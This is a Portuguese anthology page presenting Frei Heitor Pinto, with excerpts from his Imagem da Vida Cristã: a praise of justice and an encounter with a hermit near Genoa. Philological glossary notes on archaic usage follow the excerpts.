FREI HEITOR PINTO

FR. HEITOR PINTO, natural de Covilhã, faleceu em Toledo no ano de 1584, sendo incerta a data do seu nascimento. Era religioso da Ordem de S. Jerônimo e doutor em Teologia. Chamado a Madrid por Filipe II de Espanha, quando este se impôs como rei de Portugal, nem por isso aderiu à causa do triunfador, e antes exclamou: "El-rei Filipe bem me poderá meter em Castela; mas Castela em mim é impossível".

Sua obra mais conhecida é a Imagem da Vida Cristã, constituída de onze diálogos, e mui conceituada como excelente modelo de linguagem.

Louvores da Justiça

São tantos e tão ilustres os louvores da justiça que nem há i (530) tempo nem palavras, não somente para os exornar e engrandecer, mas nem ainda para os tocar.

Ó justiça, guia de nossa vida, que seria do mundo sem ti! Tu és inventora das leis, mestra dos bons costumes, tu ale-vantas as virtudes e abates os vícios. Tu és inimiga da azeda discórdia, e conservadora da doce paz. Tu espantas os maus e asseguras os bons. Sem ti a ordem é desordem a vida é morte, o descanso é trabalho, a glória é infâmia, o bem é mal. Tu destruíste a confusão, e pariste a boa governança. Tu livras os inocentes e condenas os culpados. Tu alegras os justos tristes e entristeces os justos alegres, para que, deixadas suas vãs e temporais alegrias, alcancem os verdadeiros e eternos contentamentos. Finalmente, tu és aquela gloriosa escada de Jacó, que com uma ponta estava na terra, e com a outra no céu, pela qual uns subiam, outros desciam; porque tu alevantas os justos e santos até aos altos céus e derribas os ímpios e danados até aos profundos abismos. E, pois tu mandas o seu a cujo é, (531) e nós todos somos de Deus, é necessário que nos dêmos a Êle, se te quisermos seguir a ti.

(Imagem da Vida Cristã, vol. I, pp. 230 e 231)..

Prática com um Ermitão

Embarcando eu em Barcelona com outros passageiros, tanto navegamos pelas duvidosas ondas do mar Mediterrâneo, atravessando o golfo de Leão, que em poucos dias vimos terras de Itália; e, indo ferindo com os duros remos as salgadas ondas do pego ligústico, a par de Gênova, (532) fomos topar com um navio de que eu soube tais novas que me foi necessário deixar a companhia, o que eu fiz com assaz saudade. Saí-me logo no areal, e fui-me só por terra, por certas coisas necessárias, que eu não digo, porque são elas longas de contar, (533) e não vêm agora a propósito: basta que me fui eu por terra.

E era isto, onde eu saí, ao pé das altas montanhas de Gênova, onde o mar tem feito grandes furnas; e com o tom das ondas e o rugido do vento, que se metia e retumbava naquelas concavidades, juntamente com o meneio das árvores (que por entre aquelas rochas havia grandes e em algumas partes tão espessas que impediam ao chão com suas ramas a claridade do sol), fazia-se uma harmonia tão concertada que me acrescentou a saudade daqueles meus companheiros, grandes meus amigos, que iam na nau, que se ali de mim, e não sem lágrimas, apartaram. Eu era-lhes em extremo afeiçoado, pela virtude, letras e engenho que neles via; e eles tinham-me a mesma afeição, por alguma opinião que tinham de minhas coisas, que, sendo pequenas, tinham eles por muito grandes, porque as viam com os óculos da afeição. E, entrando eu por entre uns altos rochedos, ao longo de uma ribeira, que descia da serra, fui dar com um lugar solitário, onde se fazia um pequeno vale coberto de tão diversas ervas e graciosas flores, que me estiveram arrebatando os olhos, que vissem (534) aquela formosura; de maneira que me detive um pouco, e estive contemplando aquela singular tapeçaria, aquelas cores excelentes, aquele cheiro natural, aquele maravilhoso artifício da natureza, e a formosura e diversidade das coisas que a terra criava E, começando eu a subir para ir ter ao caminho que ia pelo cume da montanha, donde descia para outra parte, vi um pedaço de casa por entre uns altos penedos, e determinei saber o que era; porque, como estava longe, não a podia divisar. Mas com a saudade que levava dos companheiros, indo assim para a casa, olhava muitas vezes para o mar, virando os olhos para onde os guiava o amor. E no próprio tempo em que eu de todo alcancei a casa de vista, a perderam de mim os mareantes, engolfando-se no mar, e eu me-k-ndo-me por um alto e sombrio arvoredo.

E indo assim, quis atravessar a ribeira, que por ser muito funda, por nenhuma parte podia passar da outra, senão que fui topar com uma grande árvore, que sobre ela jazia derribada, que parece caiu ali com a força dos ventos; a qual me serviu de ponte, e passei adiante. E chegando à casa, vi que era ermida, e entrei dentro sem achar ninguém, senão um devoto Crucifixo, num altar bem concertado, (535) a que fiz oração. E ainda que á ermida estava muito pobre, todavia estava limpa, varrida, ornada com alguns ramos de murta e loureiro, como coisa de festa. Sobre a porta da ermida estava um letreiro do ermitão, que dizia: — A vida, que sempre morre, que se perde em que se perca?

Depois que eu fiz oração, e contemplei a ermida, saí-me para fora, para ver se achava quem ali pusera aqueles ramos, e fui dar com uma grande árvore muito velha, cercada de tão forte hera que lhe fazia com que se não desfizesse; da par da qual (536) se via a montanha, até uns altos pináculos, onde se ia acabar a vista de uma banda, e da outra se via o grande mar; porque se estendiam os olhos até onde podiam com a vista abranger; de maneira que de ambas as partes era grande e saudoso (537) o horizonte. Detrás desta árvore estava o ermitão assentado sobre um penedo, com o rosto sobre uma mão, e na outra umas contas de bugalhos, enfiadas em umas raízes de ervas, destilando de seus olhos muitas lágrimas, com uma barba que lhe dava pela cinta, banhada nelas, alva como a neve, vestido de um pobre burel roto e remendado por algumas partes; (538) e êle tão magro e debilitado que logo mostrava a grande penitência que fazia. Tinha pelo rosto uns sinais, à maneira de regos, por onde contínuas lágrimas corriam. E, tanto que me viu, limpou os olhos e levantou-se a receber-me com jeitos e palavras de amor e gasalhado; e, depois que nos saudamos e assentamos, como eu não entendia bem a sua linguagem siciliana, nem êle a minha portuguesa, comecei a falar latim, para ver se me entendia; e êle respondeu-me em latim, que o sabia muito bem.

(Ibid., cap. VII). Imagens da Vida Cristã, Obra de FR. HEITOR PINTO.

Glossário

  • (528) — por caso de = por motivo de, por causa de.
  • (529) — menear-se — mover-se, aviar-se.
  • (530). há i — Foi comum outrora esse enlace do v. haver impessoal com o advérbio / (= aí), semelhantemente ao que se verifica no francês il y a. Dois exemplos apenas: "Que geração tão dura ‘ há hi de gente?" (Lus., II, 81). "E na crença e na esperança / em ambas há hi cuidado, / em ambas há hi mudança". (Bernardim, Éclogas, ed. Marques Braga, p. 135). Gil Vicente escreveu pelo próprio molde francês: "Hi há de homens ruins". (Obras, I, 159, ap. Rui, na Réph, 457).
  • (531) mandas o seu a cujo é. O pronome cujo (do genitivo lat. cujus) vale por um possessivo e emprega-se como adjetivo conectivo equivalente a de quem, de que, do qual; concorda com o subst. conseqüente e refere-se ao antecedente: "A lei tenho daquele a cujo império / obdece o visíbil e invi-síbil". (Lus., I, 65); "Prometido lhe está do fado eterno / cuja alta lei não pode ser quebrada"… (Lus., I, 28). Na frase aqui transcrita do texto, o pron. cujo funciona como predicativo ligado ao sujeito do verbo ser: mandas o seu àquele de quem [êle] é. Tal construção arcaízou-se, e hoje só por artifício e mui raramente se usa; Rui empregou-a na Réplica: …"toque a responsabilidade a cuja é". (Concl., p. 598). Menos ainda se deve aceitar hoje a velha usança de cujo como indefinido sem conseqüente, como em Gil Vicente tantas vezes: "A dama cujo nasci" [de quem nasci]; "Perguntai-lhe cujo é" [de quem é]; em Sousa: …"Rodrigues Pais, cujo era este cargo"; e, interrogativamente, em Camões. Obras, III, 11): "Dize: Cujo filho és?" — ap. E. C. Pereira, Cram. Hist., 602). Cujo como conectivo, em lugar de do ,qual, da qual, torna mais fácil a frase. Rui, porém, o substituiu várias vezes por essa locução restritiva:"…para o desempenho do qual"… (Répl., introd.); …"estas normas, em dedução e sustentação das quais". .. (Parecer sobre as obras do porto de Pôrto-Alegre, p. 77); "…essas bases, no texto das quais se minudeiam as condições"… (Ibid., p. 36).
  • (532) a par de Génova — perto, ao lado, nas proximidades de Gênova.
  • (533) são longas de contar — voz passiva.
  • (534) que vissem — que = para que; conj. final.
  • (535) altar bem concertado = bem composto, bem arrumado.
  • (536) da par da qual = de a par da qual, de junto da qual.
  • (537) — saüdoiso == ermo, solitário (preso a soledade ou soedade, lat. solitate, sinônimo de so’idão, are; e solidão, lat. solitudine).
  • (538) É de notar nestas linhas o emprego abundante do indefinido um, que torna menos leve c fina a construção, imitativa da francesa.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

 

 

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